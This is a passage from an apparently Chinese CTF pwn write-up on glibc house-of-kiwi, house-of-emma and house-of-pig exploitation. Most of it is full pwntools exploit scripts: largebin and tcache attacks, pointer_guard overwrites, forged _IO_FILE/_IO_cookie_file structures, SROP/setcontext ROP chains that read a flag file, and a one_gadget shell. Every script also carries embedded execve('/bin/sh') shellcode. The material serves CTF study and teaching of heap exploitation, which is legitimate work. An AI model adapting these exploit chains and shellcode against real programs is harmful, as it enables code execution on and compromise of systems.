        heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x49F0
        lg("heap_base")
        
        ############################准备一些变量
        SROP_address = heap_base + 0x79F0
        magic = libc_base + 0x1EB538 # 存放tcache_struct地址的位置
        main_arena = libc_base + libc.sym['__malloc_hook'] + 0x10
        pop_rdi_ret = libc_base + 0x000000000002858F
        pop_rdx_r12 = libc_base + 0x0000000000114161
        pop_rsi_ret = libc_base + 0x000000000002AC3F
        pop_rax_ret = libc_base + 0x0000000000045580
        syscall_ret = libc_base + 0x00000000000611EA
        malloc_hook = libc_base + libc.sym['__malloc_hook']
        Open = libc_base + libc.sym["open"]
        Read = libc_base + libc.sym["read"]
        Write = libc_base + libc.sym['write']
        IO_helper_jumps = libc_base + 0x1E38C0
        # p &_IO_helper_jumps
        # p &_IO_file_jumps # +0x60
        
        frame = SigreturnFrame()
        frame.rsp = heap_base + 0x7A90 + 0x58 # orw_addr
        frame.rip = pop_rdi_ret + 1 #ret
        
        orw  = ''# 写在最下方
        orw += p64(pop_rax_ret) + p64(2)
        orw += p64(pop_rdi_ret)+p64(heap_base + 0x7B78)# flag
        orw += p64(pop_rsi_ret)+p64(0)
        orw += p64(syscall_ret)
        orw += p64(pop_rdi_ret) + p64(3)
        orw += p64(pop_rdx_r12) + p64(0x100) + p64(0)
        orw += p64(pop_rsi_ret) + p64(heap_base + 0x10000)
        orw += p64(Read)
        orw += p64(pop_rdi_ret)+p64(1)
        orw += p64(Write)
        orw += './flag.txt\x00\x00'
        ###################################用堆溢出去进行largebinattack
        New(0x130,'\x00'*0x108 + p64(0x4B1)) #14 覆盖7的size实现堆溢出
        New(0x440,'FMYY') #15 用于larginbinattack以及伪造tcache_struct
        New(0x8B0,'\x00'*0x20 + p64(0x21)*8) #16 把unsotbin全申请了
        New(0x430,'FMYY') #17 垫子
        New(0x108,'FMYY') #18
        Free(15)
        ######
        New(0x800,'FMYY')# 15 put in largebin
        Free(15)# 0x450
        ######
        Free(7) # 利用7去编辑largebin
        New(0x4A0,'\x00'*0x28 + p64(0x451) + p64(main_arena + 1120)*2 + p64(heap_base + 0x5650) + p64(magic - 0x20))# 7 largebin attack 更换tcache_struct
        Free(17) # 当个垫子
        New(0x800,str(frame) + orw)# 15 put in largebin同时会写入17号堆
        Free(15)
        New(0x430,'FMYY')# 15 再次申请用于largebinattack的chunk同时写入mp_
        # lg("magic")
        
        Free(7)
        New(0x4A0,'\x00'*0x30 + '\x01'*0x90 + p64(libc_base + 0x1E54C0 + 0x60)*0x10 + p64(libc_base + 0x1E48C0 + 0xA0)*0x10)# 伪造tcache_struct 用于申请__sync和IO_help+0xa0
        Free(0)
        Free(1)
        New(0x108,p64(libc_base + libc.sym['setcontext'] + 61))# 0 __sync
        New(0x208,str(frame)[0xA0:])# 1 IO_help+0xa0
        # 触发assert
        menu(1)
        p.sendafter('Size:',str(0x420))
        break
    except:
        p.close()
p.interactive()
# p/x *(tcbhead_t *)0x7fd6e1dd6580

house of kiwi(数组越界/libc2.31)

image-20220528224905171

mmap了一块区域来管理堆

image-20220528224945469

dele时存在负数越界,我们只要用mmap申请一个堆,那这里free就能访问到我们堆里写入的内容,这里我们用来free tcachestruct

image-20220528225025733

然后利用任意地址申请实现houseofkiwi

# _*_ coding:utf-8 _*_
from pwn import *
context(arch='amd64', os='linux', log_level='debug')

p = process('./pwn')
elf = ELF("./pwn")
libc = elf.libc

def dbg():
    gdb.attach(p)
    pause()

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

def add(size,con='a'):
    sla("Your choice:",1)
    sla("Size:",size)
    p.sendafter("Content:",con)

def show(idx):
    sla("Your choice:",3)
    sla("Idx:",idx)

def dele(idx):
    sla("Your choice:",2)
    sla("Idx:",idx)

add(0x1000) # 0
add(0x1000) # 1
dele(0)
add(0x1500) # 0
add(0x500) # 2
show(2)
ru('Content:')
libc_base = uu64()-0x1ec261
lg("libc_base")

ret = libc_base + 0x0000000000025679
pop_rdi = libc_base + 0x0000000000026b72
pop_rsi = libc_base + 0x0000000000027529
pop_rax = libc_base + 0x000000000004a550
pop_rdx_r12 = libc_base + 0x000000000011c371
syscall_ret = libc_base + 0x0000000000066229

IO_helper = libc_base + 0x1ec8a0
sync = libc_base + 0x1ed500

dele(2)
dele(0)
add(0x1500)
add(0x500,'a'*0x10) # 2
show(2)
ru('a'*0x10)
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x290
lg("heap_base")
dele(2)
dele(0)
dele(1)

add(0x30000,p64(heap_base+0x10)) # 0
dele((-0x31000+0x10)/8)

add(0x300,'./flag\x00'.ljust(0x60,'\x00')+p64(ret)) # 0
payload = flat([
    pop_rax,
    2,
    pop_rdi,
    heap_base+0x290+0x10,
    pop_rsi,
    0,
    syscall_ret,
    pop_rdi,
    3,
    pop_rdx_r12,
    0x100,
    0,
    pop_rsi,
    heap_base+0x290+0x20,
    libc_base+libc.sym['read'],
    pop_rdi,
    1,
    libc_base+libc.sym['write']
])
add(0x300,payload) # 1                           #0x120                   #0x220              #0x230    #0x240
add(0x288,'\x00'*0x20+'\x01\x00'*8*6+p64(0)*0x10+p64(heap_base+0x10)*0x10+p64(IO_helper+0xA0)+p64(sync)+p64(heap_base+0x8b0)) # 2
add(0x218,p64(heap_base+0x5a0+0x10)+p64(ret)) # 3
add(0x228,p64(libc_base+libc.sym['setcontext'] + 61)) # 4
add(0x238,p64(0x20)*2) # 5
try:
    add(0x238) # 6
except:
    print(p.recv())
p.interactive()

house of emma

利用链

__malloc_assert->__fxprintf->locked_vfxprintf->__vfprintf_interna->_IO_file_xsputn

利用链

exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_overflow(_IO_cookie_read)

适用情况

可以多次任意写一个可控地址(LargeBin Attack、Tcache Stashing Unlink Attack、Fastbin Reverse Into Tcache)

可以触发 IO 流(FSOP、House OF Kiwi)

技巧杂谈

往往用在可申请0x400往上的大堆,主要是控制是三个位置

stderr,pointer_guard,fake_IO

触发2种方案:

方案一,错误流,__malloc_assert断言,当topchunksize不足以分配malloc所需大小时触发,触发stdderr的xsputn函数

方案二,刷新流,显示exit

各种情况:

1、IO_stderr可以存在libc段上,也可存在bss段上,如果是后者我们就需要掌握更多的地址

2、如果stderr不可写,可以考虑劫持IO_list_all,触发FSOP。

关于触发的部分,如果要使用exit来触发 FSOP,会遇到在exit中也有调用指针保护的函数指针执行,但此时的异或内容被我们Largebinattack篡改,导致无法执行正确的函数地址。且此位置在 FSOP 之前。

要使用FSOP,就考虑构造两个chains连接的IO_FILE,一个IO用来修改key,后一个再用House of emma正常伪造来进行函数指针调用。

利用原理

我们可以通过修改vtable的偏移,来执行vtable种的任意函数,这里主要利用了_IO_cookie_jumps中的以下几个函数:

static ssize_t _IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (read_cb);//直接调用执行函数指针,并且函数指针来源于_IO_cookie_file 结构体
#endif

  if (read_cb == NULL)
    return -1;

  return read_cb (cfile->__cookie, buf, size);
}
====================================================================================================
static ssize_t _IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (write_cb);
#endif

  if (write_cb == NULL)
    {
      fp->_flags |= _IO_ERR_SEEN;
      return 0;
    }

  ssize_t n = write_cb (cfile->__cookie, buf, size);
  if (n < size)
    fp->_flags |= _IO_ERR_SEEN;

  return n;
}
====================================================================================================
static off64_t _IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (seek_cb);
#endif

  return ((seek_cb == NULL
       || (seek_cb (cfile->__cookie, &offset, dir)
           == -1)
       || offset == (off64_t) -1)
      ? _IO_pos_BAD : offset);
}
====================================================================================================
static int _IO_cookie_close (FILE *fp)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (close_cb);
#endif

  if (close_cb == NULL)
    return 0;

  return close_cb (cfile->__cookie);
}

错误流触发__xsputn函数,加上0x40的偏移,就会去执行_IO_cookie_write这个函数,其中会调用PTR_DEMANGLE (write_cb),我们只需要把这个指针改为我们需要的gadget即可

_IO_cookie_file这个结构体是 _IO_FILE_plus 的扩展,PTR_DEMANGLE (write_cb)执行的第一个参数(rdi)来源于这个结构。

// p/x *(struct _IO_cookie_file*)0x55969fcaf2a0
/* Special file type for fopencookie function.  */
struct _IO_cookie_file
{
  struct _IO_FILE_plus __fp;
  void *__cookie;
  cookie_io_functions_t __io_functions;
};

typedef struct _IO_cookie_io_functions_t
{
  cookie_read_function_t *read;        /* Read bytes.  */
  cookie_write_function_t *write;    /* Write bytes.  */
  cookie_seek_function_t *seek;        /* Seek/tell file position.  */
  cookie_close_function_t *close;    /* Close file.  */
} cook

我们伪造好了的结构体如图,其__cookie字段即第一个参数

image-20220613101736001

可以看到,这里write这个函数指针是有指针加密保护的,一个类异或加密,所以我们伪造也要加密一下,其值存在fs:[0x30]处

image-20220602222322587

加密操作如下,将key ROR 移位 0x11 后再与指针进行异或

image-20220602224108495

House OF Emma(libc段stderr/2.34uaf)

题目是 2021 湖湘杯的题

image-20220602221748065

image-20220602222011275

漏洞点主要在dele,存在UAF

image-20220602222043059

利用思路就是利用largebinattack写stderr指针一个可控地址,接管IO结构体,再用同样的方法覆盖pointer_guard为一个已知的内容。去布置topchunk为极小值用于assert,布置IO结构体。

和houseofkiwi一样触发,执行跳板gadget,设置rdx为srop的地址,执行setcontext,从而执行rop

from pwn import *

context.log_level = "debug"
context.arch = "amd64"
p = process('./pwn')
elf = ELF("./pwn")
libc = elf.libc

def dbg():
    gdb.attach(p)
    pause()

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

def ROL(content, key):
    tmp = bin(content)[2:].rjust(64, '0')
    return int(tmp[key:] + tmp[:key], 2)

all_payload = ""

def add(idx, size):
    global all_payload
    payload = p8(0x1)
    payload += p8(idx)
    payload += p16(size)
    all_payload += payload


def show(idx):
    global all_payload
    payload = p8(0x3)
    payload += p8(idx)
    all_payload += payload


def delete(idx):
    global all_payload
    payload = p8(0x2)
    payload += p8(idx)
    all_payload += payload


def edit(idx, buf):
    global all_payload
    payload = p8(0x4)
    payload += p8(idx)
    payload += p16(len(buf))
    payload += str(buf)
    all_payload += payload


def run_opcode():
    global all_payload
    all_payload += p8(5)
    p.sendafter("Pls input the opcode", all_payload)
    all_payload = ""


# leak libc_base
add(0, 0x410)
add(1, 0x410)
add(2, 0x420)
add(3, 0x410)

delete(2)
add(4, 0x430)
show(2)
run_opcode()

libc_base = uu64()-0x2190b0 # main_arena + 1104
lg("libc_base")
guard = libc_base - 0x002890# tls
lg("guard")

pop_rdi_addr = libc_base + 0x000000000002e6c5
pop_rsi_addr = libc_base + 0x000000000012a8e1
pop_rax_addr = libc_base + 0x0000000000049f10
syscall_addr = libc_base + 0x0000000000095196
gadget_addr  = libc_base + 0x0000000000169e90  # search mov rdx
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
setcontext_addr = libc_base + libc.sym['setcontext']
IO_cookie_jumps = libc_base + 0x219ae0# p/x &_IO_cookie_jumps
lg("setcontext_addr")

# leak heapbase
edit(2, "a" * 0x10)
show(2)
run_opcode()
p.recvuntil("a" * 0x10)
heap_base = u64(p.recv(6).ljust(8, '\x00')) - 0x2ae0
lg("heap_base")

# largebin attack stderr
arena_large = libc_base + 0x2190b0
chunk0 = heap_base + 0x22a0
chunk2 = heap_base + 0x2ae0

delete(0)
edit(2, p64(arena_large) * 2 + p64(chunk2) + p64(libc_base +libc.sym['stderr'] - 0x20))
add(5, 0x430)
edit(2, p64(chunk0) + p64(arena_large) + p64(chunk0) * 2)# fd->chunk0 bk->largebin fd/bksize->chunk0
edit(0, p64(arena_large) + p64(chunk2) * 3)# fd->largebin bk->chunk2 fd/bksize->chunk2
add(0, 0x410)
add(2, 0x420)
run_opcode()
dbg()

# largebin attack guard
delete(2)
add(6, 0x430)
delete(0)
edit(2, p64(arena_large) * 2 + p64(chunk2) + p64(guard - 0x20))
add(7, 0x450)
edit(2, p64(chunk0) + p64(arena_large) + p64(chunk0) * 2)# fd->chunk0 bk->largebin fd/bksize->chunk0
edit(0, p64(arena_large) + p64(chunk2) * 3)# fd->largebin bk->chunk2 fd/bksize->chunk2
add(0, 0x410)# add both ok
add(2, 0x420)


# change top chunk size
delete(7)
add(8, 0x430)
edit(7, 'a' * 0x438 + p64(0x300))
run_opcode()

next_chain = 0
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0)  # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff)  # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)  # _IO_buf_base
fake_IO_FILE += p64(0)  # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(next_chain)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_base)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0)  # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(IO_cookie_jumps+0x40)  # vtable
fake_IO_FILE += p64(chunk2 + 0x10)  # rdi# payload
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget_addr ^ (chunk0), 0x11))

fake_frame_addr = chunk2+0x10
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8# ./flag
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1  # : ret

rop = [
    pop_rax_addr,  # sys_open('flag', 0)
    2,
    syscall_addr,
  
    pop_rax_addr,  # sys_read(flag_fd, heap, 0x100)
    0,
    pop_rdi_addr,
    3,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    syscall_addr,

    pop_rax_addr,  # sys_write(1, heap, 0x100)
    1,
    pop_rdi_addr,
    1,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    syscall_addr
]
payload = p64(0) + p64(fake_frame_addr) + '\x00' * 0x10 + p64(setcontext_addr + 61)
payload += str(frame).ljust(0xF8, '\x00')[0x28:] + 'flag'.ljust(0x10, '\x00') + flat(rop)

edit(0, fake_IO_FILE)
edit(2, payload)

add(8, 0x450)  # House OF Kiwi
run_opcode()

p.interactive()

emma(bss段stderr/2.33uaf)

image-20220613094358309

漏洞点在4个功能 idx都可以负数越界

image-20220613094447062

image-20220613094507765

以及一个UAF

image-20220613094523441

# _*_ coding:utf-8 _*_
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'

p = process('./emma')
elf = ELF("./emma")
libc = elf.libc
def dbg():
    gdb.attach(p)

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

def ROL(content, key):
    tmp = bin(content)[2:].rjust(64, '0')
    return int(tmp[key:] + tmp[:key], 2)

def add(idx,size,con='a'):
  sla(">>",1)
  sla("Index:",idx)
  sla("Size:",size)
  p.sendafter('Content',con)

def show(idx):
  sla(">>",3)
  sla("Index:",idx)

def edit(idx,con):
  sla(">>",2)
  sla("Index:",idx)
  p.sendafter('Content',con)

def dele(idx):
  sla(">>",4)
  sla("Index:",idx)

#------------------------------leak-----------------------------
add(-4,0x418)
add(1,0x418)
add(2,0x420)
add(3,0x418)

dele(2)
add(4, 0x430)
show(2)

libc_base = uu64()-0x1e0ff0 # main_arena + 1104
lg("libc_base")
guard = libc_base-0x002890# tls
lg("guard")

pop_rdi_addr = libc_base + 0x0000000000028a55
pop_rsi_addr = libc_base + 0x000000000002a4cf
pop_rax_addr = libc_base + 0x0000000000044c70
syscall_addr = libc_base + 0x000000000006105a
gadget_addr  = libc_base + 0x000000000014a0a0  # search mov rdx
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
setcontext_addr = libc_base + libc.sym['setcontext']
IO_cookie_jumps = libc_base + 0x1e1a20# p/x &_IO_cookie_jumps
stderr = libc_base+libc.sym['stderr']
lg("setcontext_addr")
lg("stderr")

edit(2,"a"*0x10)
show(2)
p.recvuntil("a" * 0x10)
heap_base = u64(p.recv(6).ljust(8, '\x00'))-0xad0
lg("heap_base")
#-------------------------------pointer_guard attack-----------------
arena_large = libc_base + 0x1e0ff0
chunk0 = heap_base + 0x290
chunk2 = heap_base + 0xad0

dele(-4)
edit(2, p64(arena_large) * 2 + p64(chunk2) + p64(guard - 0x20))
add(5,0x430)
edit(2, p64(chunk0) + p64(arena_large) + p64(chunk0) * 2)# fd->chunk0 bk->largebin fd/bksize->chunk0
edit(-4, p64(arena_large) + p64(chunk2) * 3)# fd->largebin bk->chunk2 fd/bksize->chunk2
add(-4,0x418)
add(2,0x420)
#---------------------------topchunk_size attack-----------------------
dele(5)
add(6, 0x420)
edit(5,'a'*0x428+p64(0x300))

#------------------------------fake IO---------------------------------
next_chain = 0
fake_IO_FILE =  4*p64(0)
fake_IO_FILE += p64(0)                   # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff)  # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)                   # _IO_buf_base
fake_IO_FILE += p64(0)                   # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(next_chain)          # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heap_base)           # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(0)                   # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(IO_cookie_jumps+0x40)# vtable
fake_IO_FILE += p64(chunk2+0x10)       # rdi payload
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget_addr ^ (chunk0), 0x11))

fake_frame_addr = chunk2+0x10
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8# ./flag
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1  # ret

rop = [
    pop_rax_addr,  # sys_open('flag', 0)
    2,
    syscall_addr,
  
    pop_rax_addr,  # sys_read(flag_fd, heap, 0x100)
    0,
    pop_rdi_addr,
    3,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    syscall_addr,

    pop_rax_addr,  # sys_write(1, heap, 0x100)
    1,
    pop_rdi_addr,
    1,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    syscall_addr
]
payload = p64(0) + p64(fake_frame_addr) + '\x00' * 0x10 + p64(setcontext_addr + 61)
payload += str(frame).ljust(0xF8, '\x00')[0x28:] + 'flag'.ljust(0x10, '\x00') + flat(rop)

edit(-4, fake_IO_FILE)
edit(2, payload)

sla(">>",1)
sla("Index:",8)
sla("Size:",0x600)
# print p.recvuntil("}")
# __malloc_assert
# _IO_cookie_write

p.interactive()

因为是题目未开沙盒,再给一个one_gadget的解法

# _*_ coding:utf-8 _*_
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'

p = process('./emma')
elf = ELF("./emma")
libc = elf.libc

def dbg():
    gdb.attach(p)

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

def ROL(content, key):
    tmp = bin(content)[2:].rjust(64, '0')
    return int(tmp[key:] + tmp[:key], 2)

def add(idx,size,con='a'):
  sla(">>",1)
  sla("Index:",idx)
  sla("Size:",size)
  p.sendafter('Content',con)

def show(idx):
  sla(">>",3)
  sla("Index:",idx)

def edit(idx,con):
  sla(">>",2)
  sla("Index:",idx)
  p.sendafter('Content',con)

def dele(idx):
  sla(">>",4)
  sla("Index:",idx)

#---------------------------------leak---------------------
add(-4,0x418)
add(1,0x418)
add(2,0x420)
add(3,0x418)

dele(2)
add(4, 0x430)
show(2)

libc_base = uu64()-0x1e0ff0 # main_arena + 1104
lg("libc_base")
guard = libc_base-0x002890# tls
lg("guard")

pop_rdi_addr = libc_base + 0x0000000000028a55
pop_rsi_addr = libc_base + 0x000000000002a4cf
pop_rax_addr = libc_base + 0x0000000000044c70
syscall_addr = libc_base + 0x000000000006105a
gadget_addr  = libc_base + 0x000000000014a0a0  # search mov rdx
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
setcontext_addr = libc_base + libc.sym['setcontext']
IO_cookie_jumps = libc_base + 0x1e1a20# p/x &_IO_cookie_jumps
stderr = libc_base+libc.sym['stderr']
one = libc_base+ 0xde78c
lg("setcontext_addr")
lg("stderr")

edit(2,"a"*0x10)
show(2)
p.recvuntil("a" * 0x10)
heap_base = u64(p.recv(6).ljust(8, '\x00'))-0xad0
lg("heap_base")
#--------------------------pointer_guard attack----------------------
arena_large = libc_base + 0x1e0ff0
chunk0 = heap_base + 0x290
chunk2 = heap_base + 0xad0

dele(-4)
edit(2, p64(arena_large) * 2 + p64(chunk2) + p64(guard - 0x20))
add(5,0x430)
edit(2, p64(chunk0) + p64(arena_large) + p64(chunk0) * 2)# fd->chunk0 bk->largebin fd/bksize->chunk0
edit(-4, p64(arena_large) + p64(chunk2) * 3)# fd->largebin bk->chunk2 fd/bksize->chunk2
add(-4,0x418)
add(2,0x420)
#--------------------------topchunk_size attack----------------------
dele(5)
add(6, 0x420)
edit(5,'a'*0x428+p64(0x300))

#----------------------------fake IO---------------------------------
next_chain = 0
fake_IO_FILE =  4*p64(0)
fake_IO_FILE += p64(0)                   # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff)  # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)                   # _IO_buf_base
fake_IO_FILE += p64(0)                   # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(next_chain)          # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heap_base)           # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(0)                   # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(IO_cookie_jumps+0x40)# vtable
fake_IO_FILE += p64(chunk2+0x10)         # rdi payload
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(one ^ (chunk0), 0x11))


edit(-4, fake_IO_FILE)

sla(">>",1)
sla("Index:",8)
sla("Size:",0x600)
# __malloc_assert
# _IO_cookie_write

p.interactive()
'''
0xde78c execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xde78f execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xde792 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

参考文章:

https://blog.wjhwjhn.com/archives/751/

https://www.anquanke.com/post/id/216290#

house of pig

利用链

exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_str_overflow
    ->malloc->__memmove_avx_unaligned_erms(memcpy)->free

适用场景

通常用于有exit的情况,可以仅用一次largebinattack实现攻击

利用杂谈

这才是最叼的IO利用方法555,有好几种利用分支,主要是利用_IO_str_overflow,在布置好IO结构体的情况下,可以连续调用malloc,memcpy和free,劫持IO_list_all以开始IO结构体的伪造

//核心利用部分
//old_blen <=> ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
char *old_buf = fp->_IO_buf_base;
...
new_buf = malloc (new_size);
memcpy (new_buf, old_buf, old_blen);
free (old_buf)

方案一:重点在执行free,劫持IO_list_all,如果是fastbin reverse就劫持IO_list_all+0x70(stderr的chain字段)

1.在堆块上放好payload

2.bin里放置或者伪造好free_hook-0x10

3.伪造IO结构体,准备拷贝payload

触发刷新流

方案二:重点在执行memcpy,构造堆复用,实现largebinattack->劫持IO_list_all

1.在堆块里放置好payload

2.修改的tcache_struct的值

3.以及构造fake IO链(0x410->0x290->0x128->0x108)劫持tcache结构体,实现申请libc.memcpy.got,修改为system。

4.dele一个0x410的堆

正常返回或者exit触发

方案二的延伸可以实现不用在bin里伪造目标地址,直接劫持tcache结构体实现任意地址申请,且整个方案只需要进行一次largebinattack即可,适用于可以触发刷新流的任何情况

利用原理

还是同样的一段

#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_USER_BUF 1
int _IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
